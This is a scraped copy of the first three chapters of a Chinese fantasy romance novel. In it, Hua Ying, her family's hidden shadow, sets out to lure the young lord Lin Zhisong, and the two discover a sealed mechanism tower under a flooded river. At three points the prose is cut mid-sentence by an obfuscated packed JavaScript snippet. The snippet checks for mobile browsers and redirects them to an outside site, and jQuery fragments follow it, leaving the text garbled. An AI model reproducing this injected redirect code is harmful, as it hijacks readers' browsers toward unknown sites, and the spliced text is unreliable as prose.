《如何让男主折腰》 1. 第1章 清夜无尘,万籁俱寂。 楼内,碎瓷片飞溅在地,炸出尖锐刺耳的声响。 侍立在摇光楼外的十余名心腹噤若寒蝉,脊背快要被无形的压力折断。 直到一名亭亭玉立的黑衣女子被一只彩翎木傀鸟引来,他们才彼此交换了一个得救了的眼神,垂首自觉让开了一条路。 华盈藏在帷帽皂纱之后的容貌有些模糊,只露出温婉的轮廓。 她尚未靠近雕花木门,从屋里迸发出的狂暴气浪裹挟着无差别攻击所有人的怒气,蛮横冲撞而来,吹动她遮面的皂纱。 华盈性子稳,不想露出情绪时,叫人一丝也窥探不到,只是垂眸扫向冷汗涔涔的一群人—— 你们的大小姐江璧月又在发什么疯? 这十余人都是高境界强者,在华盈无声注视下,竟察觉出一股灼热又凶险的攻伐之意。 他们被这种明显远超自己的力量抬起下巴,强迫与她对视,毛骨悚然。 有人终于熬不住,惨白着脸,看向她那张隐藏在乌黑薄纱后的模糊脸庞,喉咙上下动了动,张口,无声: 大小姐受伤了。 华盈心里念了一遍这几个字。 脑海中浮现出零星破碎的画面,抓不住,看不清,还原不出任何连续的记忆片段,唯有在一次次莫名而死又重生中形成的敏锐预判力,提醒她接下来可能要面临什么。 华盈终于有些烦躁地拧拧眉。 皮肤下的红色蛊虫游动,让她没有掉头就走的可能。 她屈指敲了敲房门。 “这么晚才来,死在路上了吗?” 门内的嗓音里染了些不耐烦的倨傲。 华盈推门而进,反手关门。 一地摔碎的瓷片和云母屏风之后,她见到赤足披发的江璧月。 她的姐姐,那位盛名在外的北荒大小姐。 只是江璧月此刻仪态全无,雪白衣裙上渗出道道血迹,一双眼睛布满血丝,跟外界称赞的什么温柔圣洁并不一样。 而她们的父亲江如晔也在,负手望着窗外夜色站了好一会了,无声纵容江璧月发脾气摔东西。 “家主什么事急着找我?”华盈不动声色,“大小姐这又是怎么了?” 江如晔叹了一口气,转过脸来,身为北荒领主的威严与强硬全都卸下,只剩下刻意流露出的无奈。 “盈盈,月儿出了一点状况,需要你帮忙。” 华盈仔细打量了一下江璧月的伤口便明白了。 又来了,江璧月为了破无上境而强闯北荒禁地雪仞山。 不仅没突破,反而受伤。 如今没办法了,才又想起了她来。 华盈压下轻蔑的唇角,摘下黑色帷帽,露出一张白皙光洁的脸。 乌发如夜,星眸明澈,涌出一股温婉干净的气质。 江如晔其实不太愿意看清她的脸,也不敢看。 他尚未开口,心中本就堵着一团火气的江璧月砰得将一只花瓶砸到向了华盈,扬高声音:“藏好你的脸,记住了,你只能做我的影子!” 华盈不动声色往左一步,那花瓶在她身后的墙上砸了个粉碎,一道狰狞的裂痕出现在墙面。 “月儿,她是你妹妹,一家人不可失和。”江如晔直到江璧月砸完才出声劝阻。 他蹙眉沉声说:“盈盈,我也是你的父亲,本不该让你为月儿受苦。” “但她是北荒千挑万选的大小姐,江家倾注全部心血培养了她一百多年,她是江家和北荒的希望,比任何人都重要,不容有任何闪失。” 华盈面上温柔顺从地笑了笑,眼底却一片冰冷。 姐妹?父女? 这对父女将她关在蛇窟的这些年间,允许她离开那个孤寂阴冷之地的次数屈指可数,哪一次不是为了让她替他们上刀山下火海! 这时提家人二字。 那之前为何没有想过? 华盈悄无声息地散去杀意,微微垂眼,盖住眼中嘲弄。 只听江如晔顿了顿,痛心道:“如今月儿破境失败,身上的伤虽然是麻烦了一些,养个十天半月,总归能痊愈,可你瞧瞧她此刻的样子,若是她的心境出了问题,北荒上下一百多年的付出,功亏一篑。” 华盈站在屏风投下的阴影中,没什么多余的表情,无比契合江如晔此刻想要的温顺模样:“家主以为我能帮她稳固心境?” 江如晔凝重的眉目因此舒展几分,只要华盈听话就好。 他也不必动用名门正派所不齿的夺心蛊。 他沉声,言简意赅:“月儿需要你的灵血,有了它,月儿或许就能破境了。” 江璧月终于听到了这句话,一双美目睥睨着华盈,唇角上扬。 华盈站在原地,没说话,纤密的眼睫上下动了动。 江如晔见状,无可奈何地叹声气:“盈盈,你要配合你姐姐。” 他摸了摸她的头发,“盈盈,我保证,这是最后一次了。” 那副颇为愧疚不忍的模样落在华盈眼中,好似几点火星落下,燃起一簇怒火。 夺心蛊在她皮肤下疯狂蠕动,像极了一颗致命的獠牙贴在她的颈窝。 如果真的爱她,如果真的是为了自己考虑。 ——那为何要给当时还不满十岁的自己下夺心蛊。 呵,真是个好父亲啊! 华盈是真想现在就杀了他们。 没有人比她更清楚,凭借自己现在的实力,杀了这对父女,原本只是一件轻而易举的事情,绝不会失败。 如果没有夺心蛊的话。 它会折磨她,让她立刻力竭垂死,像是被拧断骨头烂成一摊泥。 即便她敢抱着同归于尽的心态,拼着最后一丝力气将他们拆骨放血,「它」将立刻现身阻拦。 华盈微微侧首看了眼窗外。 漆黑的夜幕深处,那不知踪影、不见形状、不明来历,却能精准控制着她向江家父女妥协的东西,比夺心蛊强势可怕千万倍。 「它」会将她抹杀,让她失去记忆,实力,从头再来,把那些苦头和绝望重新再尝无数遍。 华盈看回江如晔不容置喙的一双眼,知道自己今晚不答应,没办法活着走出这里。 她没有犹豫:“什么时候为大小姐渡血?在哪里?” 干脆得让江如晔都愣了愣。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14792519|158180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他不自在地咳了一声,回答:“渡血条件严苛,准备的物资与场地都不在北荒,既然你答应,现在就可以出发。” 华盈眨了下眼,灵秀清澈的眼珠子动了动。 “家主,您对我有不杀之恩,江家又养育我这么多年,我的确应该为了江家和北荒付出一切作为报答。” “所以在渡血之前,我还想替您做一件事。” 江璧月趿鞋下榻,也不难受了。 她冷笑:“不必了,你现在就跟我去渡血!” 迟则生变。 华盈看也没看她,只观察江如晔细微的表情变化,见他面色微动,继续说:“我记得您提过,若是青要山少主林之凇死了,北荒就少了一个真正的心头大患。” “不会耽误太久。” 她话说得笃定,让江如晔的确心动。 大陆千家百门林立,其中北荒、青要山、烨都和天武这四大世家各有珍捧之人,而青要山少主林之凇,最是让人又嫉又怕。 此人行事果决狠辣,又阴晴不定,不同于在外竭力维护好名声的其他年轻人。 展现出的实力也强大得实在扎眼。 江如晔深思熟虑的目光动了动。 “如果林之凇死了,那么月儿和北荒未来的路的确会好走很多。” 华盈明白他顾虑什么,在他再度开口之前,妥帖地给出承诺:“您放心,即便失败了,我也逃得回来见您,不会让外人知晓灵血在我身上。” 江如晔知道华盈从不说大话。 “那盈盈,你一切小心。” 他准许了,伸手按在即将暴起的江璧月的肩头,对华盈说,“有一个消息,你还不知道,林之凇不在青要山,他去了沧州。” 华盈微微颔首,勾勾唇,转身离开。 她恢复自由的计划终于可以开始了…… 沧州。 华盈当然知道。 她不会放过林之凇的任何一个动静。 在每一个被困在蛇窟的日子里,她无比渴望能光明正大地站在阳光下。 可她不能把自己的真实身份直接告诉任何人,否则会立刻被「它」抹杀。 一次次不同的尝试,不同的死亡,终于让她知道了如何避开「它」,破局。 能让她被江如晔承认江家小姐身份、助她恢复自由的人选,要有脑子,手下有足够靠谱之人从她一点点给出的蛛丝马迹中,快速还原出她那让别人不敢触及的身世秘密。 要有为了得到她抛出的诱惑而不惜利用一切的疯劲,能与江如晔谈条件的实力与胆色。 最后要被她引导着,亲自去北荒揪出她的存在,逼江如晔承认她的身份。 这样一看,符合之人凤毛麟角。 唯有林之凇能令她满意。 为了等到她精挑细选才择定的林之凇离开青要山,去沧州,成为她计划中的一环,她忍着对身后二人的杀意,忍了太久。 “大小姐,先别急。” 华盈顺手戴上帷帽,转头对那道充满憎恨的目光回以温顺一笑,漆黑的皂纱飘落下来,眸光变得冷淡。 “我很快就会带着好消息回来。” 2. 第 2 章 沧州暴雨如注,天地灰白。 沉闷而密集的雨声响彻天地间,沧州五城之中,四城已被洪水淹没。 山石草木,良田屋宅,上万条人命,一夜之间毁灭于浑浊的河水中。无数百姓流离失所,举家迁往地势更高的长青城。 橙金色的传送阵纹出现在城外霞山的栈道上,在灰蒙蒙的雨中山景里显得格外鲜亮,一瞬就消散殆尽,留下身着白裙蓝衫的华盈站在原地,手中撑开一把素绢伞。 淡色裙摆在山风中一层层荡开,灵动轻舞,带着裙角的银纹花藤也随之舒展。 华盈抬手擦擦蒙在眼睫上的水雾,站在栈道上往下看。 下方的雾岚河如一头战意激昂的猛兽,卷动着昏黄澎湃的浪潮嘶啸向前,无人敢在这头猛兽正当狂怒时靠近。 除了她和她要等的人。 一次次的重来让华盈搜集到了一些有用的信息,譬如她知道林之凇会来这里,下水去找一件对他而言至关重要的东西。 雾岚河湍急危险,水下更是暗流汹涌,杀人于无形。林之凇强大自信,所以会把随从留在安全的岸上,自己只身下水。 刺杀不过是拖延渡血的借口,华盈有自己的计划,既然要向林之凇透露一些秘密,总要避开一些闲杂的目光。 方才临时起意让传送阵先拐弯去找了个人,让华盈耽误了片刻。 时间紧迫,华盈以常人绝不敢想的动作,从栈道上一跃而下,大风在耳畔急速流转,发出嚎啕的尖啸,转眼被碾碎在霎那间爆发于她身旁的浩瀚灵浪之中。 灵力收束,具象,一柄雷光涌动的巨剑悬于苍穹。 华盈左手持伞,在骤雨中平稳下坠,右手伸在半空,手指漫不经心往下一点。 下方湍急激荡的河水被自天而降的锋锐巨剑截成两段。 剑气余威不散,强势碾碎水下噬人的漩涡。 华盈没入水中,松手,素绢伞化为灰烬,被冲天而起的一个巨浪吞没卷走。 远处的山道上,一行人肃静前行,伞下衣裳洁净干燥,特制的伞面投下晴空云影流转在衣袍间,灿然生光,交叠的脚印很快消失在大雨中。 林之凇走在最前,素净衣衫外披了件玄黑银纹大氅,剑眉星目,俊美之姿浑然天成。踩着手足尸骨稳坐高位,掌权揽势多年,举手投足间带着一股不可言说的威严与冷厉。 高不可攀,如松如渊。 束着高马尾的橙衣青年跟在林之凇身后两步远,浮动在指尖的一个个金色占字往他眼里飞去,久久凝视雨幕的那双眼睛猛然一阖。 他头皮发麻,重重叹气:“这雨下得真怪,再往后半个月都没有停的迹象,反而有转大之势,再这样下去,长青城该不会也被......” 苍云息话没说完,但暗示太过明显,紧随其后的一队崇阿军被他这一句话吓得心都提到了嗓子眼。 青要山奇人异兽众多,归属青要山的二十七氏族中,苍家以预占术闻名,比任何流派世家的预占都要厉害,能力顶尖者能清楚看到几个瞬息之后发生的事情。 苍云息虽然还没把这神乎其神的预占术用到炉火纯青,却也足够靠谱,每次预占的结果都没出过什么岔子。 他没意识到哪不对,也只有他敢在林之凇面前快言快语,说话没那么多弯弯绕绕或斟酌权衡:“我们从青要山调了那么多粮草物资过来,若是做成了赔本买卖,那几个老头在背地里指不定要把脸拉多长......呜......” 崇阿军中一名战士快步冲出队伍,心惊胆战地捂住了他们这位小将军的嘴,拖着人往队伍最后挪,离林之凇有多远隔多远。 林之凇已经停下步子,扭头朝二人看来。 沧州属星罗宫所辖,是大陆最富庶之地,每年盛产的丝绸香料和蔬果粮食流通天下,惹人眼红。 这次水患来得又猛又凶险,不仅让百姓颠沛流离,还搅乱了天地五行灵气,五城修行者也受到影响,自顾不暇。 恰好星罗宫的宫主离奇死亡,少宫主沈镜竹及长老团失踪,群龙无首。地方豪强和城主也先后逃离,被抛弃的百姓死伤无数,五城陷入混乱。 林之凇亲自来沧州走这一趟,赈灾救济,安排人手疏散民众,组织迁徙,尽心竭力做了许多,目的之一,就是借此机会光明正大接掌沧州事务,将沧州五城名正言顺纳入青要山所辖。 崇阿军战士接了他这一瞥,连忙松开手,颔首回归队伍之中,心中为一脸茫然又愤怒的苍将军默念自求多福。 林之凇却只是看了二人一眼,迈步走向苍家大长老预占所指的河岸,久未开口,嗓音沉而散漫:“这不是买卖。” 一行人愣了下,立刻会意。 只有苍云息亮着一双眸子,似听到什么新奇的秘密,大步上前,兴冲冲地伸手要去拍他肩:“你是真想救人?早说啊,害得咱们整天提心吊胆的,生怕哪里出了岔子,拿不到五城。” 在崇阿军众人怀着崇高敬意的目光下,苍云息猛然想起什么,悻悻地缩回了刚要触到他黑色大氅上的手,摸了摸鼻子。 眼尖的人果然瞥见林之凇袖袍下蓦然握紧的手又缓缓松开,稳了稳呼吸。 林之凇目光扫过远处河中央翻滚嘶啸的水浪,抬手,手掌径直贴上湿漉漉的空气。 不久前才被人特意抹除过的气息尚有漏网之鱼,从河中央升腾而起,穿过灰沉的雨幕,来到他掌心。 一缕攻伐之力。 如此微弱,却藏不住锋锐无匹之势。 还混着一丝柔软浅淡的雾月昙香。 有人就在这里下过水了。 “怎么了?” 苍云息瞧见林之凇剑眉压出一条警觉的弧度,以为出了什么事,连忙上前几步来到他身旁。 古老而晦涩的占字在苍云息指尖成群浮现,他透过占字的辉光,寸寸扫视浩浩汤汤的河水。 “有人先下水了。”林之凇脱下大氅,与伞一并递给苍云息,只身往河里走,“留在岸上等着。” “你等等。”苍云息总是意气飞扬的嗓音变得有气无力的,预占术最讲究时运与机缘,一日之内不顾这些强行开了两次预占,整个人都觉得天旋地转,半死不活。 他轻轻推开一旁将士伸来的手臂,阻止对方的搀扶,自个儿蹲地上缓了缓,揉了揉刺痛无比的脑袋,同时叫住林之凇,一张脸惨白。 “看过了,不会遇上危险,你放心大胆下去,就是可能会碰上点麻烦。哎别问我是什么麻烦,我根本没看见,只是预感......不说了我好想吐。” 林之凇嗯了一声,下水。 持续半个多月的恶劣天气引起沧州灵气失序,修行者们境界不分高低,使用术法时都受到了不同程度的限制,严重时还会被逆乱的灵气重伤。 水下暗流搅动频繁,身法、体术与控灵处处受限带来的危机感尤其明显。 主动沉入水中危机的滋味并不好受,华盈却心平气和,坐在被水草沙砾与断肢残骸簇拥的礁石上,把等会要做的事,能说的话,都在脑海里再度斟酌了一遍,确定不浪费这个等待已久的机会。 林之凇足够强大且聪明,只要有机会接近他,无意间稍微向他抛出一丝与自己身份有关的线索,他就能、就敢亲自走一趟浮雪之巅。 像疯狗一样咬着江家不放,把她这个敢对他下杀手的人揪出来。 能离开北荒一趟并不容易,计划不容有失,千挑万选,她只要林之凇。 昏暗的河底突然被一缕缕绵白的莹润宝光点亮。 华盈放下随意弯折在指间的水草,仰首,看见一枚沧海月珠从河面缓缓降下。 温柔光芒中,出现了一个与“林之凇”这个名字极为相配的身影。 清绝孤高,枝上冰雪。 但她不会因此对他有任何好感。 世家的年轻人们为了争夺资源,得家族器重,使出的肮脏手段数不胜数,从小就知道自己要付出、牺牲、甚至亲手了结什么。 林之凇格外冷血心狠。 为了得到如今的青要山少主之位,手刃十个同胞手足,成为青要山唯一的选择。 那道身影快速逼近,华盈弯弯唇。 她似受到了不小的惊吓,从礁石上起身要走,动作警惕又敏捷,连摇摆的水草也碰不到她。 林之凇刚下到水底,就见到礁石上的华盈。 蓝白衣裙柔顺地贴在她的身上,缀着蓝宝石的银色发链将她衬得温婉灵秀,像一朵沾露的茉莉花。 而她簪在乌发间的,竟然是灵力具象的一枝雾月昙。 保护她不被水底暗流撕碎的灵力,又或是来自沧海月珠的光亮,在她身上缓缓流动,闪烁,映出一片清凌凌的光泽,让她像是夜里突然翻出水面,被月光发现的鱼。 林之凇牢记苍家大长老的预占,在这片水域下,极有可能出现灵血的线索。 牢记刚才在河边捕捉到的一缕力量。 他实在提不起说话的兴致,径直朝华盈动手。 管她的来历与出现在此的目的是什么,先带回去。 是灵血的线索,还是趁乱来沧州浑水摸鱼的人,他问得出来。 今日出现在这里的所有可疑的人与物,他都没打算放过。 华盈听说过林之凇又疯又狠,心中多少有点准备,却没想到疯成这样。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14792520|158180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他不是要来找什么东西吗?见人就打是什么坏毛病? 原本想着之后还得见几次面,恰到好处的客套与神秘还是要有的,不至于一上来就剑拔弩张。 华盈话问得急,温和的嗓音里冲出一丝困惑与薄怒:“林之凇?就算是青要山少主,也不能不分青红皂白伤人吧?我可没得罪过你。” 她灵巧翻身躲过炸响在耳畔的灵浪,与林之凇拉开一段距离,刚才那块礁石被他的掌风劈中,一分为二,无数条细小裂纹快速生长,巨石碎散成粉末。 林之凇凛然不语,他身法极快,华盈话还没说完就被他追上,灵力卷起分崩离析的石屑冲撞在她身上。 华盈牢记自己应该扮演如何无辜又无害的角色,顺势跪在湿软的泥沙中,立刻被匀称修长的五指钳住脖子。 华盈垂眸,近在咫尺的距离让她看清林之凇青筋隐现的手腕,云锦袖下定然还藏着线条流畅又充满力量感的小臂。 再往上,是一张精致好看的脸,却压着几分燥意与疲倦。 她自然而然去猜,他的情况不太对,身上有伤。 林之凇蹲在她面前,浓密的眼睫在眼底投下一层阴影,细细审视她的目光再度被那枝雾月昙吸引,嗓音低沉又冷淡:“修行者对沧州避之不及,你,竟敢下水?” 二人近在咫尺,影子也在河底泥沙上重叠。 侧方看去,仿佛一对眷侣在沧海月珠的温柔照耀下亲密相依,实际上,华盈被林之凇手上的力量和他温热的气息侵略,忍住狂傲叫嚣着要把他一拳掼倒的战意,忍得浑身僵硬。 华盈双手撑在砂砾中,往后仰了仰,与他拉开一段距离,声音不大,却听得出着急与不满:“我来水下找东西,它掉水里了。” 她抬抬手,露出一根编织着一朵朵团锦结的彩绳,末端空空荡荡,轻飘飘摇曳在水浪中。 林之凇认得,那种编了团锦结的绳子本该系着一只小小的朱红锦囊。 北荒有个古老的习俗,年轻的夫妻会在新婚那年的中秋,为将来的第一个孩子求这样一只锦囊,问前程,祈平安。 隐藏实力扮无辜装无害的强者,来自北荒,是江家培养的人?又或者这根彩绳,正是引导意味明显的伪装? 林之凇眸光明暗不定。 下一刻,华盈身下灵力暴涨,搅得四周本就动荡狂暴的河水霎时间重聚出漩涡,横冲直闯朝二人绞杀而来,而她就借他分神应对的片刻时机,要逃脱他的视线。 仅以灵力相搏,并不构造术法,林之凇因此无法看出她的招式,得不出她的流派所属。 他在灵力与河水的对冲之下起身,稳住脚步。 气势骇人的风暴酝酿在他身前。 俯倒在水浪中的水草,从水上沉淀而来的枯枝断叶,全都在这瞬间被卷入风暴中心,绿光森森的锁链在其中完全成型,朝着华盈的背影冲杀而去,威势迫人。 华盈被这股杀气锁定,回首就见一道幽深绿影在眼中狰狞扭动,如雷弧电光。 万灵令的顶级杀招之一,木灵锁链。 万物有灵,控之即为杀人技。 青要山天资卓绝的少主,把万灵令修到了炉火纯青的程度,并不奇怪。 奇怪的是刚才只想捉她,现在却二话不说就动了顶级杀招。 他对自己很感兴趣。华盈微微扬唇。 就怕他不想逼她亮出底牌,探她来历。 华盈没看出暴雨带来的灵气暴动让林之凇受限在哪,木灵锁链源源不断汲取草叶生机,在水中暴涨,铺天盖地,层层叠叠,几乎占据了目之所及的全部视野,咬定她扑杀而去,誓要将她粉身碎骨。 华盈心下镇定,提醒自己,今天不是来跟他打架的。 要动手较量,要见生死之招,也不是在仅仅抛出了雾月昙与团锦结的今天。 “林之凇。”她直唤这位青要山少主的名字,乌黑澄亮的眼瞳瞪大,像是被激怒了的兔子,素手一扬,以掌为刃,“你这个人怎么连解释也不听,我找个东西而已,就算不小心挡了你的路,我让开还不成?” 华盈的手掌没敢真正碰到木灵锁链,否则定会粉碎,她只以强势出奇的气劲逼得它稍稍偏移轨迹,木灵锁链上灵力星火迸溅,擦着她侧避开的右肩,冲击向远处。 轰隆的爆炸声响彻雾岚河,万丈水墙在不远之地冲天而起,天摇地动。 木灵锁链似乎无意间撞到了什么被隐藏在水底里的东西。 这让二人同时心生惊疑。 华盈看向声音的来源。 一层又一层的水涟屏障被森森绿光击溃。 露出让华盈也忍不住惊诧的庞然大物。 3. 第 3 章 华盈没有任何犹豫。 今日能躲过「它」的监视,顺利抛出一些信息给林之凇,已让她足够惊喜。 林之凇心思缜密,有心去查,会得到她想让他知道的结果。 再与他纠缠下去,或许不经意的一个动作,一句话,都会让「它」判定自己偏离控制,做出抹杀。 华盈不欲多留,趁机就要离开,却被那座庞然大物散发出的一缕熟悉气息生生拽回脚步。 无数红棕色的木制齿轮拼接组合,堆砌成一座机关塔,巍然屹立在水底,齿轮转动的声响极轻,被彻底淹没在水浪声中。 塔身蒙着一层淡蓝色的辉光,像是凭空产生的淡淡光晕,细看,是无数细微如尘的骨萤附着在机关塔上,随着呼吸的节奏,规律地吞吐着光芒。 掩盖机关塔的水涟屏障已被木灵锁链彻底摧毁,整座塔此刻完完整整地暴露在她眼前,阴冷古怪的气息扑面而来,一缕独特的力量混杂其中。 外人即便将它精准捕捉,也绝不知道它的来历。 可是华盈曾见识过这股力量,在那个让人又恨又怕的魔头身上。 大陆曾有真正的邪魔作乱,引发浩劫,但那是上千年前的事情。 昔日守护大陆的神明与那群不知从何而来的邪魔大战一场,同归于尽,神力残力及邪魔残尸流落在天武的桑岭一带。 如今说的魔头,是指心术不正,凶残嗜血的入“魔”之人。 烨都二十二州的本地人,体质与外界有些区别,体术力量和精神力都十分强悍,从此有了魔头。 烨都对大陆立下承诺,不允许入魔者为非作歹、脱离控制,以免引起祸端。 但偶尔也有意外。 一百多年前,魔头封逍逃出烨都,炼出邪器魂玉,造成东洲十三桩重大血案,令人闻风丧胆,修行者们对他束手无策。 他逃离了烨都,摆脱了地域压制,那句“入魔者只有烨都的人能杀”的常识,似乎也失去了效用。 当时又正是江璧月与江家几个年轻人斗得最腥风血雨的时候。 江家掌控北荒,江家家主即北荒领主。而北荒以强者为尊,下一任江家家主的位置并非由其儿女继承,而靠选拔。 北荒强者遍地,江氏子弟中,江璧月与那几个竞争者当时的修为都是生界境。 那样年轻的生界境修行者,在外风光无限,吸引无数羡慕或忌惮的目光,可放在江家,谁能凭借相同的实力占据优势? 更何况,江璧月身上还有一个致命的弱点,哪怕她拥有万中无一的本源髓,江家长老们也很难在她身上看出无限前途。 下一任家主的位置迟迟未定,江璧月与江如晔心急如焚。 江如晔想了个法子,让攻伐力量卓绝无双的华盈去杀了封逍,毁了魂玉。 原本只是想让她试试,却成功了。 功劳是江璧月的。 江璧月割下他的头颅带去长老与重臣面前,从江家一众竞争者中脱颖而出,青云直上。 她当着天下人的面扬了玉屑,受尽赞誉,风光无限。 人人羡慕江璧月从此名动天下,被北荒寄予厚望,揽权得势,谈笑间搅动风云。 却无人知道,那是华盈以一个影子,一个杀手的身份为怨恨之人闯刀山火海,粉身碎骨的开始。 太多不愉快的回忆决堤倾泻,华盈握了握拳,阖目平复胸腔里汹涌起伏的愤怒与仇恨,注意力放在了遍布机关塔的骨萤上。 这些骨萤生来只有一个作用。 高境界的修行者将自己的力量保存在骨萤中,让它们为那些需要长期平稳运转的阵法提供源源不断的能量。 华盈原本算得上愉快的心情这下彻底被毁灭,她亟需确认这座机关塔的作用,骨萤守的是什么阵。 那一缕属于入魔者的力量,她见识过一次,不会记错。 它出现在此时此地,麻烦大了。 入魔者的力量,沧州水患。 二者之间,若是因果关系,怎么想怎么骇人听闻。 如此想着,手腕突然一凉。 方才杀气骤烈又遮天蔽日的木灵锁链不知何时缩小成了细细一股,宛如一只韧性十足的触手,牢牢缠住她的双手。 它收敛了要将她寸寸绞杀的气势,却以一种不容置喙、冷静强势的方式,明确告知她,你得束手就擒。 真是令人厌憎的上位者仪态。 与它的主人一个样。 华盈盯着大步走向机关塔的林之凇,气极反笑。 她试了试挣脱木灵锁链需要几分力,跟着他的背影往机关塔走。 “为什么要绑我?我知道沧州现在是你在做主,可我只是下水找东西,既没做有损沧州利益的事情,也没有与你结过梁子。” 华盈言行大方自然,嗓音也温和好听,不怕谁也不求饶,只是如实陈述自己的不乐意,“木灵锁链会往肉里长,很疼。” 林之凇置若罔闻,心里只想着一件事。 什么人,专程在雾岚河中布下需要持续运转的阵法,用层层水涟屏障将其掩盖? 在他带人来到沧州之前,沧州乱成一片,浑水摸鱼掠夺资源的人不在少数,甚至是星罗宫中的资源,都有人敢去动手脚。 这还是小事。 沧州的雨下得太奇怪了,他不是没有怀疑,这场水患是人为。 崇阿军没找到证据,这个猜测却始终是他心里挥之不去的阴霾。 眼前所见,怎么看,怎么想,都非比寻常,隐隐约约又牵起了一根线,把之前的猜测连在了一起。 机关塔上无窗无门,无数大小不一的齿轮有规律地转动着,彼此间并没有留下足够的间隙让人可以窥探到塔内的景象。 林之凇伸手贴在塔身,骨萤被掌心覆盖,猛然振翅欲逃,被一丝热气灼烧成灰烬。 燥热滚烫的气浪骤然迸发,无处不在。 不见烈火炙烤,河水却变得滚烫。 华盈掌心渗出细密的热汗,仰头看了眼蒸腾的水汽从机关塔四周升腾而起,凝成水面一片化不开的白茫茫雾气。 淡蓝色的光芒成片黯淡下去,机关塔上,骨萤焦黑的尸体簌簌掉落,露出被热气灼烧得通红的齿轮。 林之凇收手,身前的一大片齿轮在热浪的灼烧与挤压之中发出咯吱声,最终承受不住一般,在沉闷的咔嚓声中破碎,开辟出一个不大不小的口子。 沧海月珠飘了进去,光芒霎时间被塔内的阵法蚕食得所剩无几,如燃到尽头的最后一粒烛光。 他迈步入塔,从始至终一句话没说,神色变得更差了些,气息比之前弱了不少,终于彻底暴露出一种受过伤的虚弱难捱。 华盈管他爱不爱说话,身体要不要紧,跟着他不费吹灰之力就进了机关塔,心中断定这位少主应当是没见识魔头的,自然也认不出那缕力量,否则此刻要做的第一件事,是传讯给岸上的人,查入魔者。 走在前面的林之凇突然停步。 华盈正在左看右看塔内昏暗逼仄的结构,一个不留神,撞在他坚硬的后背上。 额头还好,鼻骨撞得生疼,毫无预兆的疼痛感猛然四蹿,放大,刺得眼泪一下就掉了下来。 林之凇被陌生人一触碰,因为虚弱而高度警戒的身体瞬间被逼出应激反应,冷着一双布满杀意的眼回头,却看见华盈仰头瞪着他。 她眉头紧拧,眼眶微红,盛满的水光模糊了眼内黑白二色的界限,视线往下,纤细修长的手指捂着鼻子。 林之凇杀人审讯时冷心无情,无意间撞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14792521|158180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伤了人却知道愧疚,更不料自己在面对她眼里的委屈,气恼与责怪时,竟然有一种犯了滔天大罪的错觉。 莫名其妙。林之凇蹙眉。 他静了会儿,终于肯开口说句话了:“……前面有生灭令护阵。” 华盈正饶有兴致地回味着他这句堪称稀奇的解释,忽然一愣,不可置信地抬起手背擦了擦眼,绕过林之凇,看清了浮动在地面上的东西。 不对,准确的说,是地面的阵纹被一道幻术遮挡了,幻术之上,还有一道生灭令。 生灭令是上古诸神留下来的东西,其中保存着来自神明的一道最强杀招,虽然在漫长的岁月里已经被磨损了许多力量,却依旧有价无市。 力量保存得越是完整的生灭令,越是被千家百门中的强者牢牢把控,不可能轻易流传出来。 眼前这一道生灭令,是一条外表普通的红色发带,上绣银纹桃花枝,如一条盘踞在领地的游龙,散发出一阵阵令人心惊的力量,随时准备好绞杀任何一个试图再靠近的人。 华盈清晰感受到浮沉在水底的这两股力量有多强大。 她自己就是逍遥境,同境界之中无人可敌的那种。 在她之上的幻术力量。 无上境。 入魔者的力量参与此阵,无上者的幻术与生灭令护阵。 烨都?! 华盈猛然扭头看向林之凇,他是这里唯一可以交流的人,因此也是她有了猜测之后想到的第一个倾诉者。 但他又不合适。 他会追问她什么是入魔者的力量,她又从哪得知。 华盈忍了忍,微张的嘴唇没发出一个音。 林之凇没放过她的表情。 “你知道什么?”林之凇审问人时,剑眉稍压,双眼轮廓狭长而锋利,好像无论谁来了都得被他捅上一刀子,“抬头,说。” 华盈刚刚垂下的目光又看回林之凇,犹犹豫豫,似乎怕丢人,权衡之后又鼓足勇气确定下来:“我不要进去了,生灭令和无上者的力量都在,我不关心这种会要命的秘密,我不想死在这里。” 林之凇不信,她刚才分明有话要脱口而出,在理智控制之下消了音的话,绝不是这句要退却。 没关系,带回去之后,一并审问。 林之凇转过身去,看着幻术制造出的水底沙石,在它之下,是这个阵法的阵纹。 林之凇不惧与生灭令动手,但势必会引得雾岚河水暴涨,雪上加霜。 阵法的结构与作用也不清楚,若是不慎将其破坏,谁知道引出的后续是好是坏。 华盈看出他在斟酌,在思索两全之计。要放过就在眼前的线索,任谁也不乐意。 她年少时的记忆中存在一些有关天灾的阴霾,想起许多痛苦绝望与恐惧的哭泣声,因此试图推林之凇一把,想查下去。 塔外却突然传来芜杂的气息。 